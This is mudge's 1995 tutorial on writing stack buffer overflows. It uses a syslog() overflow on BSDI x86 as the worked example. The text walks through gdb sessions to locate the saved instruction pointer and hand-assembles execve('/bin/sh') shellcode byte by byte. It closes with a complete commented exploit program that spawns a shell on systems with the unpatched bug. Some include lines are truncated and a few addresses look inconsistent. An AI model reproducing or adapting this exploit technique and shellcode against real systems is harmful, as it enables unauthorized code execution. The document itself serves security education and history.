

How to write Buffer Overflows

This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself.

-by mudge@l0pht.com 10/20/95

test out the program (duh).

```
-----syslog_test_1.c-----

#include

char buffer[4028];

void main() {

    int i;

    for (i=0; i<=4028; i++)
        buffer[i]='A';

    syslog(LOG_ERR, buffer);
}

-----end syslog_test_1.c-----
```

Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today.

```
bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)
```

The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows:

```

bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault
0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)

```

Ok, this is good. The 41's you see are the hex equivalent for the ascii character 'A'. We are definately going places where we shouldn't be.

```

(gdb) info all-registers
eax                0xefbfd641                -272640447
ecx                0x00000000                0
edx                0xefbfd67c                -272640388
ebx                0xefbfe000                -272637952
esp                0xefbfd238                0xefbfd238
ebp                0xefbfde68                0xefbfde68
esi                0xefbfd684                -272640380
edi                0x0000cce8                52456
eip                0x00001273                0x1273
ps                 0x00010212                66066
cs                 0x0000001f                31
ss                 0x00000027                39
ds                 0x00000027                39
es                 0x00000027                39
fs                 0x00000027                39
gs                 0x00000027                39

```

The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands.

In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following:

```
(gdb) disassemble 0x1273
[stuff deleted]
0x1267 :    incl    0xffffffff3dc(%ebp)
0x126d :    testb   %al,%al
0x126f :    jne     0x125c
0x1271 :    jmp     0x1276
0x1273 :    movb    %al,(%ebx)
0x1275 :    incl    %ebx
0x1276 :    incl    %edi
0x1277 :    movb    (%edi),%al
0x1279 :    testb   %al,%al
```

If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles and on we go.

Note also that Intel assembler

let's go back and tweak the original source code some eh?

```
-----syslog_test_2.c-----
```

```
#include
```

```
char buffer[4028];
```

```
void main() {
```

```
    int i;
```

```
    for (i=0; i<2024; i++)
        buffer[i]='A';
```

```
    syslog(LOG_ERR, buffer);
```

```
}
```

```
-----end syslog_test_2.c-----
```

We're just shortening the length of 'A's.

```

bash$ gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf

Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
    allocate memory.

```

This is the magic response we've been looking for.

```

(gdb) info all-registers
eax                0xffffffff          -1
ecx                0x00000000          0
edx                0x00000008          8
ebx                0xefbfdeb4          -272638284
esp                0xefbfde70          0xefbfde70
ebp                0x41414141          0x41414141    <- here it is!!!
esi                0xefbfdec0          -272638272
edi                0xefbfdeb8          -272638280
eip                0x00001001          0x1001
ps                 0x00000246          582
cs                 0x0000001f          31
ss                 0x00000027          39
ds                 0x00000027          39
es                 0x00000027          39
fs                 0x00000027          39
gs                 0x00000027          39

```

Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A's and we will overwrite eip completely.

```
-----syslog_test_3.c-----
```

```
#include
```

```
char buffer[4028];
```

```
void main() {
```

```
    int i;
```

```
    for (i=0; i<2028; i++)
        buffer[i]='A';
```

```
    syslog(LOG_ERR, buffer);
```

```
}
```

```
-----end syslog_test_3.c-----
```

```
bash$ !gc
```

```
gcc -g buf.c -o buf
```

```
bash$ gdb buf
```

```
(gdb) run
```

```
Starting program: /usr2/home/syslog/buf
```

```
Program received signal 11, Segmentation fault
```

```
0x41414141 in errno (Error accessing memory address
    0x41414149: Cannot allocate memory.
```

```
(gdb) info all-registers
```

eax	0xffffffff	-1
ecx	0x00000000	0
edx	0x00000008	8
ebx	0xefbfdeb4	-272638284
esp	0xefbfde70	0xefbfde70
ebp	0x41414141	0x41414141
esi	0xefbfdec0	-272638272
edi	0xefbfdeb8	-272638280
eip	0x41414141	0x41414141
ps	0x00010246	66118
cs	0x0000001f	31
ss	0x00000027	39
ds	0x00000027	39
es	0x00000027	39
fs	0x00000027	39
gs	0x00000027	39

BINGO!!!

Here's where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need?

We find this by looking at the contents of buffer[].

```
(gdb) disassemble buffer
[stuff deleted]
0xc738 :    incl    %ecx
0xc739 :    incl    %ecx
0xc73a :    incl    %ecx
0xc73b :    incl    %ecx
0xc73c :    addb    %al, (%eax)
0xc73e :    addb    %al, (%eax)
0xc740 :    addb    %al, (%eax)
[stuff deleted]
```

On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them.

The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think ;-)].

The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon successfully running your created code you might be dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler.

Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderful function called `__asm__(char *)`; I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for.

```
-----nop.c-----
void main(){

__asm__( "nop\n" );

}
-----end nop.c-----
```

```
bash$ gcc -g nop.c -o nop
bash$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 :   pushl   %ebp
0x1081 :           movl   %esp,%ebp
0x1083 :           nop
0x1084 :           leave
0x1085 :           ret
0x1086 :           addb    %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 :  0x90
```

Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex).

Our program now looks like this:

```

----- syslog_test_4.c-----

#include

char buffer[4028];

void main() {

    int i;

    for (i=0; i<2024; i++)
        buffer[i]=0x90;

    i=2024;

    buffer[i++]=0x3c;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;

    syslog(LOG_ERR, buffer);
}
-----end syslog_test_4.c-----

```

Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggy we want to execute in C code:


```
-----execute.c-----
```

```
#include
```

```
main()
```

```
{
```

```
    char *name[2];
```

```
    name[0] = "sh";
```

```
    name[1] = NULL;
```

```
    execve("/bin/sh",name,NULL);
```

```
}
```

```
-----end execute.c-----
```

```
bash$ gcc -g execute.c -o execute
```

```
bash$ execute
```

```
$
```

Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop:

```
bash$ gdb execute
```

```
(gdb) disassemble main
```

```
Dump of assembler code for function main:
```

```
to 0x10b8:
```

```
0x1088 :    pushl    %ebp
```

```
0x1089 :            movl    %esp,%ebp
```

```
0x108b :            subl    $0x8,%esp
```

```
0x108e :            movl    $0x1080,0xffffffff8(%ebp)
```

```
0x1095 :            movl    $0x0,0xffffffffc(%ebp)
```

```
0x109c :            pushl    $0x0
```

```
0x109e :            leal    0xffffffff8(%ebp),%eax
```

```
0x10a1 :            pushl    %eax
```

```
0x10a2 :            pushl    $0x1083
```

```
0x10a7 :            call    0x10b8
```

```
0x10ac :            leave
```

```
0x10ad :            ret
```

```
0x10ae :            addb    %al,(%eax)
```

```
0x10b0 :            jmp     0x1140
```

```
0x10b5 :            addb    %al,(%eax)
```

```
0x10b7 :            addb    %cl,0x3b05(%ebp)
```

```
End of assembler dump.
```

```
(gdb) disassemble execve
```

```
Dump of assembler code for function execve:
```

```
to 0x10c8:
```

```

0x10b8 :      leal    0x3b,%eax
0x10be :      lcall   0x7,0x0
0x10c5 :      jb      0x10b0
0x10c7 :      ret
End of assembler dump.

```

This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch).

0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve.

```

(gdb) x/10bc 0x1083
0x1083 :  47 '/'  98 'b' 105 'i' 110 'n'  47 '/' 115 's'
          104 'h'  0 '\000'

```

(0x1080 contains the arguments...which I haven't been able to really clean up).

We will replace this address with the one where our string lives [when we decide where that will be].

Here's the skeleton we will use from the execve disassembly:

```

[main]
0x108d :      movl    %esp,%ebp

0x108e :      movl    $0x1083,0xffffffff8(%ebp)
0x1095 :      movl    $0x0,0xffffffffc(%ebp)
0x109c :      pushl   $0x0
0x109e :      leal    0xffffffff8(%ebp),%eax
0x10a1 :      pushl   %eax
0x10a2 :      pushl   $0x1080

[execve]
0x10b8 :      leal    0x3b,%eax
0x10be :      lcall   0x7,0x0

```

All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necessary but I have it in still as I haven't fine tuned this yet.

I clean up eax. I don't remember why I do this and it shouldn't really be necessary. Hell, better quit hitting the

sauce. I'll figure out if it is after I tune this up a bit.

```
xorl    %eax,%eax
```

We will encapsulate the actual program with a `jmp` to somewhere and a `call` right back to the instruction after the `jmp`. This pushes `ecx` and `esi` onto the stack.

```
jmp     0x????    # this will jump to the call...
popl    %esi
popl    %ecx
```

The call back will be something like:

```
call    0x????    # this will point to the instruction after the jmp (ie
                  # popl %esi)
```

All put together it looks like this now:

```
-----
movl    %esp,%ebp
xorl    %eax,%eax
jmp     0x????    # we don't know where yet...
# -----[main]
movl    $0x????,0xffffffff8(%ebp)    # we don't know what the address will
                                     # be yet.

movl    $0x0,0xffffffffc(%ebp)
pushl   $0x0
leal    0xffffffff8(%ebp),%eax
pushl   %eax
pushl   $0x????    # we don't know what the address will
                   # be yet.

# -----[execve]
leal    0x3b,%eax
lcall   0x7,0x0

call    0x????    # we don't know where yet...
-----
```

There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.

Since we aren't actually calling `execve` with a `'call'` anymore here, we need to push the value in `ecx` onto the stack to simulate it.

```
# -----[execve]
    pushl    %ecx
    leal     0x3b,%eax
    lcall    0x7,0x0
```

The only other thing is to not pass in the arguments to `/bin/sh`. We do this by changing the `'leal 0xffffffff8(%ebp),%eax'` to `'leal 0xffffffc(%ebp),%eax'` [remember `0x0` was moved there].

So the whole thing looks like this (without knowing the addresses for the `'/bin/sh\0'` string):

```
movl    %esp,%ebp
xorl    %eax,%eax # we added this
jmp      0x????    # we added this
popl    %esi      # we added this
popl    %ecx      # we added this
movl    $0x????,0xffffffff5(%ebp)
movl    $0x0,0xffffffc(%ebp)
pushl    $0x0
leal    0xffffffc(%ebp),%eax # we changed this
pushl    %eax
pushl    $0x????
leal    0x3b,%eax
pushl    %ecx      # we added this
lcall    0x7,0x0
call     0x????    # we added this
```

To figure out the bytes to load up our buffer with for the parts that were already there run `gdb` on the execute program.

```

bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c :   pushl   %ebp
0x108d :           movl   %esp,%ebp
0x108f :           subl   $0x8,%esp
0x1092 :           movl   $0x1080,0xffffffff8(%ebp)
0x1099 :           movl   $0x0,0xffffffffc(%ebp)
0x10a0 :           pushl   $0x0
0x10a2 :           leal    0xffffffff8(%ebp),%eax
0x10a5 :           pushl   %eax
0x10a6 :           pushl   $0x1083
0x10ab :           call   0x10bc
0x10b0 :           leave
0x10b1 :           ret
0x10b2 :           addb    %al, (%eax)
0x10b4 :           jmp     0x1144
0x10b9 :           addb    %al, (%eax)
0x10bb :           addb    %cl, 0x3b05(%ebp)
End of assembler dump.

```

[get out your scratch paper for this one...]

```

0x108d :           movl   %esp,%ebp
this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
thus we can see the machine code with gdb like this.

```

```

(gdb) x/2bx 0x108d
0x108d :   0x89   0xe5

```

Now we know that `buffer[2028]=0x89` and `buffer[2029]=0xe5`. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one in execute that calls `execve`. Of course you will eventually need to put in the proper address.

When I work this out I break down the whole program so I can see what's going on. Something like the following

```

0x108c :   pushl   %ebp
0x108d :           movl   %esp,%ebp
0x108f :           subl   $0x8,%esp

```

```

(gdb) x/bx 0x108c
0x108c : 0x55
(gdb) x/bx 0x108d
0x108d : 0x89
(gdb) x/bx 0x108e
0x108e : 0xe5
(gdb) x/bx 0x108f
0x108f : 0x83

```

so we see the following from this:

```

0x55          pushl %ebp

0x89          movl %esp,%ebp
0xe5

0x83          subl $0x8,%esp

```

etc. etc. etc.

For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.

```
----pop.c-----
```

```
void main() {
```

```
__asm__("popl %esi\n");
```

```
}
```

```
---end pop.c----
```

```
bash$ gcc -g pop.c -o pop
```

```
bash$ gdb pop
```

```
(gdb) disassemble main
```

```
Dump of assembler code for function main:
```

```
to 0x1088:
```

```

0x1080 :   pushl   %ebp
0x1081 :           movl   %esp,%ebp
0x1083 :           popl    %esi
0x1084 :           leave

```

```

0x1085 :      ret
0x1086 :      addb    %al, (%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 :  0x5e

```

So, 0x5e is `popl %esi`. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the `jmp`'s and `call`'s... just so long as we have the right amount of space being taken up by the `jmp` and `call` instructions... likewise for the `movl`'s where we will need to know the memory location of `'sh\0\0/bin/sh\0'`.

After you have built up the string, tack on the chars for `sh\0\0/bin/sh\0`.

Compile the program and load it into `gdb`. Before you run it in `gdb` set a break point for the `syslog` call.

```

(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf

Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
                                0xefbfdeac)
(gdb) disassemble 0xc73c 0xc77f
      (we know it will start at 0xc73c since thats right after the
      eip overflow... 0xc77f is just an educated guess as to where
      it will end)

(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
0xc73c :  movl    %esp,%ebp
0xc73e :  xorl    %eax,%eax
0xc740 :  jmp     0xc76b
0xc742 :  popl    %esi
0xc743 :  popl    %ecx
0xc744 :  movl    $0xc770,0xffffffff5(%ebp)
0xc74b :  movl    $0x0,0xfffffffffc(%ebp)
0xc752 :  pushl   $0x0
0xc754 :  leal    0xfffffffffc(%ebp),%eax
0xc757 :  pushl   %eax
0xc758 :  pushl   $0xc773
0xc75d :  leal    0x3b,%eax
0xc763 :  pushl   %ecx
0xc764 :  lcall   0x7,0x0

```

```

0xc76b :    call    0xc742
0xc770 :    jae     0xc7da
0xc772 :    addb    %ch, (%edi)
0xc774 :    boundl  0x6e(%ecx), %ebp
0xc777 :    das
0xc778 :    jae     0xc7e2
0xc77a :    addb    %al, (%eax)
0xc77c :    addb    %al, (%eax)
0xc77e :    addb    %al, (%eax)
End of assembler dump.

```

Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is.

```

(gdb) x/13bc 0xc770
0xc770 : 115 's' 104 'h' 0 '\000' 47 '/'
          98 'b' 105 'i' 110 'n' 47 '/'
0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000'

```

Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug.

```

bash$ buf
$ exit (do whatever here... you spawned a shell!!!!!! yay!)
bash$

```

Here's my original program with lot's of comments:

```

/*****
/* For BSDI running on Intel architecture -mudge, 10/19/95      */
/* by following the above document you should be able to write */
/* buffer overflows for other OS's on other architectures now  */
/* mudge@l0pht.com                                              */
/*                                                              */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****/

#include

char buffer[4028];

void main () {

```



```

int i;

for(i=0; i<2024; i++)
    buffer[i]=0x90;

/* should set eip to 0xc73c */

buffer[2024]=0x3c;
buffer[2025]=0xc7;
buffer[2026]=0x00;
buffer[2027]=0x00;

i=2028;

/* begin actual program */

buffer[i++]=0x89; /* movl %esp, %ebp */
buffer[i++]=0xe5;

buffer[i++]=0x33; /* xorl %eax,%eax */
buffer[i++]=0xc0;

buffer[i++]=0xeb; /* jmp ahead */
buffer[i++]=0x29;

buffer[i++]=0x5e; /* popl %esi */

buffer[i++]=0x59; /* popl %ecx */

buffer[i++]=0xc7; /* movl $0xc770,0xffffffff8(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xf5;
buffer[i++]=0x70;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;

buffer[i++]=0xc7; /* movl $0x0,0xfffffffffc(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;

```

```

    buffer[i++]=0x00;

    buffer[i++]=0x6a; /* pushl $0x0 */
    buffer[i++]=0x00;

#ifdef z_out
    buffer[i++]=0x8d; /* leal 0xffffffff8(%ebp),%eax */
    buffer[i++]=0x45;
    buffer[i++]=0xf8;
#endif

/* the above is what the disassembly of execute does... but we only
want to push /bin/sh to be executed... it looks like this leal
puts into eax the address where the arguments are going to be
passed. By pointing to 0xfffffff8(%ebp) we point to a null
and don't care about the args... could probably just load up
the first section movl $0x0,0xfffffff8(%ebp) with a null and
left this part the way it want's to be */

    buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
    buffer[i++]=0x45;
    buffer[i++]=0xfc;

    buffer[i++]=0x50; /* pushl %eax */

    buffer[i++]=0x68; /* pushl $0xc773 */
    buffer[i++]=0x73;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;

    buffer[i++]=0x8d; /* lea 0x3b,%eax */
    buffer[i++]=0x05;
    buffer[i++]=0x3b;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;

    buffer[i++]=0x51; /* pushl %ecx */

    buffer[i++]=0x9a; /* lcall 0x7,0x0 */
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;

```

```
buffer[i++]=0x00;
buffer[i++]=0x07;
buffer[i++]=0x00;

buffer[i++]=0xe8; /* call back to ??? */
buffer[i++]=0xd2;
buffer[i++]=0xff;
buffer[i++]=0xff;
buffer[i++]=0xff;

buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]='/';
buffer[i++]='b';
buffer[i++]='i';
buffer[i++]='n';
buffer[i++]='/';
buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]=0x00;

syslog(LOG_ERR, buffer);
}
```